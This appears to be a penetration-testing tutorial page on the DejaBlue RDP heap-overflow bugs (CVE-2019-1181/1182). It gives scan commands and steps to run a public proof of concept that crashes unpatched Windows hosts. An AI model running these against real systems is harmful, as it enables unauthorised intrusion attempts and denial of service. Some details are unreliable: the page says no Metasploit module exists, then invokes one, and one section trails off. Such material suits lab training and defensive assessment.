Skip to content
HackIndex logo

HackIndex

DejaBlue CVE-2019-1181 – RDP RCE on Modern Windows

3 min read May 15, 2026

DejaBlue is a family of heap overflow vulnerabilities in the Windows Remote Desktop Services client — specifically in the rdpcore.dll decompression handling. Like BlueKeep, they are pre-authentication and require no user interaction. Unlike BlueKeep, they affect modern Windows versions: Windows 8, 8.1, 10, and Server 2012 through 2019.

Two CVEs cover the family: CVE-2019-1181 (Windows 8 through Server 2019) and CVE-2019-1182 (same scope, slightly different decompression path). Both were patched in August 2019 (Patch Tuesday, KB4512508 and related KBs).

Honest caveat: Public weaponised RCE exploits for DejaBlue are significantly less reliable than BlueKeep. Microsoft did not release technical details at disclosure time, and the available public PoCs have stability issues. The Metasploit module does not exist as of writing. For OSCP labs you are more likely to encounter BlueKeep than DejaBlue. This page covers what is available and what to expect.

Confirming Vulnerability

Safe detection methodology including rdpscan and Metasploit auxiliary scanner is covered in RDP Known Vulnerability Detection. For version-based patch level matching, Nmap version detection provides OS build identification:

┌──(kali㉿kali)-[~]
└─$ nmap -p 3389 -sV --script rdp-enum-encryption $TARGET_IP

A more targeted check using the rdpscan tool:

┌──(kali㉿kali)-[~]
└─$ rdpscan $TARGET_IP 
10.10.10.10 - VULNERABLE -- got appid

rdpscan detects BlueKeep and some DejaBlue variants. If the host is running Windows 8 or later and rdpscan flags it, proceed.

Check the patch level via SMB if you have credentials:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN

Look for Build in the output and match against patched builds. August 2019 patches set the build to 17763.678 (Windows 10 1809) or 14393.3143 (Windows Server 2016). Builds below these thresholds on those versions are unpatched.

Available PoC Code

The most maintained public PoC is the Rrivera1849 repository, which implements a basic crash/PoC for CVE-2019-1181. It confirms vulnerability but does not deliver a stable shell:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/Rrivera1849/CVE-2019-1181-1182
┌──(kali㉿kali)-[~]
└─$ cd CVE-2019-1181-1182
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv && source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip install impacket
┌──(kali㉿kali)-[~]
└─$ python3 cve_2019_1181.py $TARGET_IP

A crash (BSOD on the target) confirms the vulnerability. This is not RCE — it confirms exploitability for reporting purposes.

Weaponised Exploitation

No stable public RCE exploit equivalent to BlueKeep's Metasploit module exists for DejaBlue as of writing. Commercial tools (Core Impact, Canvas) have reported working modules but these are not publicly available.

If you encounter a DejaBlue-vulnerable target in a lab, the practical path is to fall back to credential-based access:

Checking for Both BlueKeep and DejaBlue Together

Run both checks using Metasploit auxiliary scanners (safe check, not exploitation):

┌──(kali㉿kali)-[~]
└─$ # BlueKeep (CVE-2019-0708)
┌──(kali㉿kali)-[~]
└─$ msfconsole -q -x "use auxiliary/scanner/rdp/cve_2019_0708_bluekeep; set RHOSTS $TARGET_IP; run; exit"
 
┌──(kali㉿kali)-[~]
└─$ # DejaBlue (CVE-2019-1181)
┌──(kali㉿kali)-[~]
└─$ msfconsole -q -x "use auxiliary/scanner/rdp/cve_2019_1181_bluekeep2; set RHOSTS $TARGET_IP; run; exit"

If the host is Windows 7 or Server 2008 R2, pivot to the BlueKeep page at https://hackindex.io/services/rdp/exploitation/vulnerabilities/bluekeep-cve-2019-0708 which has a reliable exploitation path.

References